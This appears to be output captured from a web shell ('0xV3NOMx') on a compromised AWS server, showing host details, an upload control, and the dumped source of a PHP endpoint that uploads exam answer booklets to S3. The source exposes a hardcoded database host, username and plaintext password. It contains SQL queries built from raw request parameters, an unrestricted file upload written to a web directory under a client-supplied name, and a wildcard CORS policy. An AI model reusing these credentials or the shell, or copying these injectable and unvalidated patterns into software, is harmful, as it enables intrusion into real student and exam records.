0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 3.147.73.117


Current Path : /var/www/html/admission/src/
Upload File :
Current File : /var/www/html/admission/src/upload_ans_book.php

<?php
require_once("/var/www/html/aws/aws-autoloader.php");
use Aws\S3\S3Client;

ini_set('display_errors', 'on');
header("Access-Control-Allow-Origin: *");
header('Content-Type: multipart/form-data');
header("Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS");
header("Access-Control-Allow-Headers: Content-Type, Access-Control-Allow-Headers, Authorization, X-Requested-With, x-auth-origin, x-auth-token, x-auth-type");
$ds = DIRECTORY_SEPARATOR;
$date = date("dmYhis");
$file_resp = "";
include ("../database.php");

if($_SERVER['REQUEST_METHOD'] == 'OPTIONS') { 
    die();
}

$dbhost = "logisys.cluster-cv9maxyrxjgg.ap-south-1.rds.amazonaws.com";
$dbuser = "admin";
$dbpass = "T0g3th3r@all";
$db1 = "logisys3_comexam";

$conn = new mysqli($dbhost, $dbuser, $dbpass,$db1) or die("Connect failed: %s\n". $conn -> error);

$univcode = json_decode($_REQUEST['univcode'],true);
$qpcode = json_decode($_REQUEST['qpcode'],true);
$year = json_decode($_REQUEST['year'],true);
$examtype = json_decode($_REQUEST['examtype'],true);

if (0 < $_FILES['filefield']['error']) {
    http_response_code(409);
    echo 'Error: ' . $_FILES['filefield']['error'] . '<br>';
    $file_resp = "Failed to upload file!";
} else {

    $get_data = "select * from dbname where funivcode = '{$univcode}' and ifnull(fdeleted,'') <> 'T'";
    
    
    $result1=$conn->query($get_data); 

    $single = mysqli_fetch_assoc($result1);
    
    $db = $single['FDBNAME'];
    $univname = $single['FUNIVNAME'];

    $name = pathinfo($_FILES['filefield']['name'], PATHINFO_BASENAME);
    
    $arr = (explode(".",$name));
    $regno = $arr[0];
    
    $date = date('Y-m-d H:i:s');

    $filename = $name;
    
    include("/var/www/config.php");

	$servername = SERVERNAME;
	$username   = USERNAME;
	$password  = PASSWORD;
	$databse = $db;
   
	$conn_db = new  mysqli($servername,$username,$password,$databse);

	if(!$conn_db) 
	{
        die("Connection failed: " . mysqli_connect_error());
	}
    if ($name) {
        if($univcode == '027' ){    
            $path = '/var/www/html/univadmin/backup/'.$filename;
        }else{
            $path = '/var/www/html/univadmin/backup/'.$filename;            
        }
        move_uploaded_file($_FILES['filefield']['tmp_name'], $path);
      
        
      } 

      $query = "select * from tdvs_scriptreceive where fqpcode='{$qpcode}' and fyear='{$year}' and fexamtype='{$examtype}'";
      $res = $conn_db->query($query);; 
      $count = mysqli_num_rows($res);
    //   var_dump($count);die();
      
      
      if($count == 0){
        $arr['msg'] = 'Script not recieved';
        $arr['error_code'] = -1;
        $arr['status'] = "failure";
		echo json_encode($arr);
        return;
      }

      if($filename){
        $s3 = S3Client::factory(
            array(
                'credentials' => array(
                    'key' => IAM_KEY,
                    'secret' => IAM_SECRET
                ),
                'version' => "latest",
                'region'  => 'ap-south-1'
            )
        );

        if($name != '' && $name != NULL){
            
            
            $file_path = "/var/www/html/univadmin/backup/{$filename}";
            $folder = $univcode."/".$year.$examtype."/ab/".$filename;
            
            try{
		
                $s3->putObject(['Bucket' => "answer-booklets", 'Key' =>$folder, 'SourceFile' => $file_path]);
                
                

                $insert_qry = "insert ignore into tdvs_tabhead (fqpcode,fregcode,ffilepath,factive,fyear,fexamtype,fsysdate) 
                values('{$qpcode}','{$regno}','{$folder}','T','{$year}','{$examtype}',now())";
                  
                $lobj_rs = $conn_db->query($insert_qry);

                
                $check_qry = "select if(fnoval = '',1,ifnull(fnoval,'1')) as fnoval from tdvs_masqp 
                where fqpcode = '{$qpcode}'";
                $check_res = $conn_db->query($check_qry);
                $res = mysqli_fetch_assoc($check_res);
               

                $z = 1;

                for($i=0;$i<$res['fnoval'];$i++)
                {
                    $insert_qry2 = "insert ignore into tdvs_tabsum(FQPCODE,FPACKET,FREGCODE,FYEAR,FEXAMTYPE,FVALNO)
                    select FQPCODE,'10001' as FPACKET,FREGCODE,fyear, fexamtype,'{$z}' as FVALNO From tdvs_tabhead
                    where fqpcode = '{$qpcode}' and fregcode = '{$regno}'";
                    
                    $lobj_rs2 = $conn_db->query($insert_qry2);
                    $z++;
                }

                

                unlink($file_path);
            } catch(S3Exception $e){
                $arr = 'Unable to Upload File';
                echo $arr,-1,"failure"; 
                return;
            }

        }
        
    }

    if($lobj_rs)
	{	
        $arr['msg'] = 'File Uploaded Successfully';
        $arr['error_code'] = 0;
        $arr['status'] = "success";
		echo json_encode($arr);
        return;
	}
	else
	{
		$arr['msg'] = 'Failed to upload files';
        $arr['error_code'] = -1;
        $arr['status'] = "failure";
		echo json_encode($arr);
        return;
	}
}

echo $path;

mysqli_close($conn);
echo $filename;